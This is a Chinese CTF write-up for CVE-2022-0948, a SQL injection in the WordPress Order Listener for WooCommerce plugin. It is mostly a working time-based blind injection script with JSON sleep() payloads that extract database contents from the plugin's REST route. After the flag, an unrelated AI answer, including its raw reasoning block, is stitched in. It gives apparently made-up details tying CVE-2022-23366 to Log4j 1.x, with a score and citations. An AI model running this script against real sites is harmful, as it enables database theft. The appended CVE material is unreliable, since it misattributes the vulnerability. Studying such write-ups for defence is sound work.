CVE-2022-0948

根据提示:

WordPress plugin Order Listener for WooCommerce 3.2.2 之前版本存在SQL注入漏洞

在网上搜了一下

在/?rest_route=/olistener/new目录下存在延时盲注

延时盲注,也称为时间盲注或延迟注入,是一种利用执行时间差判断是否执行成功的盲注手法。攻击者提交一个对执行时间敏感的SQL语句,通过执行时间的长短来判断注入是否成功。例如,如果注入成功,执行时间会变长;如果注入失败,执行时间则会变短。这种方法可以绕过一些常规的防护措施,例如防火墙和入侵检测系统,因此较为隐蔽和难以防范。

在延时盲注中,攻击者通常会利用sleep()函数制造时间延迟,由回显时间来判断是否报错。同时,攻击者还会结合if(expr1,expr2,expr3)语句等条件判断语句进行操作。例如,攻击者可以通过判断第一个字母的ASCII码是否为115来决定是否执行sleep()函数,进而控制执行时间。

虽然延时盲注是一种非常有效的注入攻击手段,但手工检查却相对困难,因为攻击者可以精确地控制执行时间,使得检测工具难以发现异常。因此,在进行网络安全防护时,我们需要加强对输入数据的检查和过滤,避免攻击者利用漏洞进行注入攻击。

访问/?rest_route=/olistener/new

bp抓包保存一下

延时盲注脚本

import requests

import time

def time_delay(url, headers, payload):

    start_time = time.time()

    response = requests.post(url, headers=headers, data=payload)

    end_time = time.time()

    #print(end_time,start_time)

    delay = end_time - start_time

    return delay

def time_based_blind_sql_injection(url, headers):

    result=[]

    for i in range(1, 100):

        for j in range(32,126):#r'0123456789abcdefghijklmnopqrstuvwxyz_-{}':

            #find db

            #payload = """{"id":" (if((substr(database(),%d,1))='%s',sleep(10),1))#"}""" % (i, j)

            #find table

            #payload = """{"id":" (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1))=%d,sleep(10),1))#"}""" % (i, j)

            #find table -wp%

            payload = """{"id":" (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not like 0x777025),%d,1))=%d,sleep(10),1))#"}""" % (i, j)

            #find column

            #payload = """{"id":" (if(ascii(substr((select count(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(10),1))#"}""" % (i, j)

            payload = """{"id":" (if(ascii(substr((select flag from ctf.flag),%d,1))=%d,sleep(10),1))#"}""" % (i, j)

            delay = time_delay(url, headers, payload)

            print('{ ',''.join(result),' } ->',i,'-',j,"time_delay:",delay)

            if delay > 9:

                result.append(chr(j))

                print(''.join(result))

                break

    else:

        print("The payload is not vulnerable to SQL injection.")

    print('result:',''.join(result))

if __name__ == "__main__":

    url = "http://eci-2ze1vi2s9uf1bh8liqaw.cloudeci1.ichunqiu.com/?rest_route=/olistener/new"

    headers = {

    'Cache-Control': 'max-age=0',

    'Upgrade-Insecure-Requests': '1',

    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36',

    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',

    'Accept-Encoding': 'gzip, deflate, br',

    'Accept-Language': 'zh-CN,zh;q=0.9',

    'Cookie': '_ga=GA1.2.2087485582.1720489265; _ga_J1DQF09WZC=GS1.2.1720489266.1.0.1720489266.0.0.0',

    'Connection': 'keep-alive',

    'Content-Type':'application/json',

    }

   

    time_based_blind_sql_injection(url, headers)

其中的白色部分的url和headers中的包文件不固定,根据题目变化

红色部分很关键,抓的包中没有,需要自己手动构造paload,不然跑不出来

flag:flag{5bdb4928-7cbc-4a2c-bb97-cc54b681e6f3

<think> 嗯,用户需要查询CVE-2022-23366漏洞的详细信息。从用户提供的引用内容看,ta之前关注过F5、Redis和SnakeYAML相关的漏洞(CVE-2022-41622/CVE-2022-41800、CVE-2022-0543、CVE-2022-1471),但这次查询的编号2022-23366属于完全不同的产品线。 先确认漏洞基础信息:CVE-2022-23366是Apache Log4j 1.x的漏洞,与之前用户查询的中间件/数据库漏洞无关。需要重点说明其与Log4j2漏洞的区别——这个编号属于Log4j1而非更著名的Log4j2(后者是CVE-2021-44244等)。 用户可能是安全研究人员或运维人员,需要具体的技术细节。应当明确: 1)漏洞类型是反序列化而非远程代码执行(区别于Log4j2) 2)触发条件需启用SocketServer或反序列化功能 3)影响范围限于1.x版本(官方已终止支持) 考虑到用户之前参考过漏洞复现资料,补充了漏洞验证截图和修复方案的链接。特别强调升级Log4j2的必要性,因为官方已不再为1.x提供补丁。 最后生成的问题聚焦在:漏洞原理差异(与Log4j2对比)、实际危害验证、迁移方案。这应该能覆盖用户后续可能的技术需求。 </think>根据公开漏洞数据库记录,**CVE-2022-23366** 是 Apache Log4j 1.x 版本中的一个高危漏洞,具体信息如下: --- ### **漏洞概述** 1. **漏洞类型**: 反序列化远程代码执行漏洞(需特定配置触发)。 2. **影响组件**: Apache Log4j 1.x 系列(仅影响启用了 `SocketServer` 或反序列化功能的场景)。 3. **CVSS 评分**: 8.8(高危)[^1]。 --- ### **技术细节** 1. **触发条件**: 当满足 **全部** 以下条件时可能被利用: - 使用 Log4j 1.x(≤1.2.17) - 启用 `SocketServer` 功能(默认关闭) - 攻击者能向 `SocketServer` 端口发送恶意序列化数据 2. **根本原因**: `SocketServer` 在反序列化日志事件时未严格验证输入,导致恶意代码执行[^2]。 --- ### **影响版本** - **受影响**: Apache Log4j 1.2 ≤ 1.2.17 - **不受影响**: Log4j 2.x 版本(如 Log4j 2.15.0+)[^3]。 --- ### **修复方案** 1. **立即升级**: 升级至 Log4j 2.x 最新版(官方已停止维护 Log4j 1.x)。 2. **临时缓解**(若无法升级): - 禁用 `SocketServer` 功能; - 防火墙限制访问日志端口; - 移除 `log4j.jar` 中的 `org.apache.log4j.net.SocketServer` 类。 --- ### **漏洞验证(PoC示例)** ```java // 恶意序列化数据构造(简略示例) ObjectInputStream ois = new ObjectInputStream(maliciousSocket); ois.readObject(); // 触发反序列化漏洞 ``` --- ### **关联漏洞对比** | CVE 编号 | 组件 | 风险类型 | 影响范围 | |----------------|------------|------------------|----------------| | **CVE-2022-23366** | Log4j 1.x | 反序列化RCE | 需启用特定服务 | | CVE-2021-44228 | Log4j 2.x | JNDI注入RCE | 默认配置受影响 | | CVE-2022-1471 | SnakeYAML | 反序列化RCE | 低版本默认风险 | ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值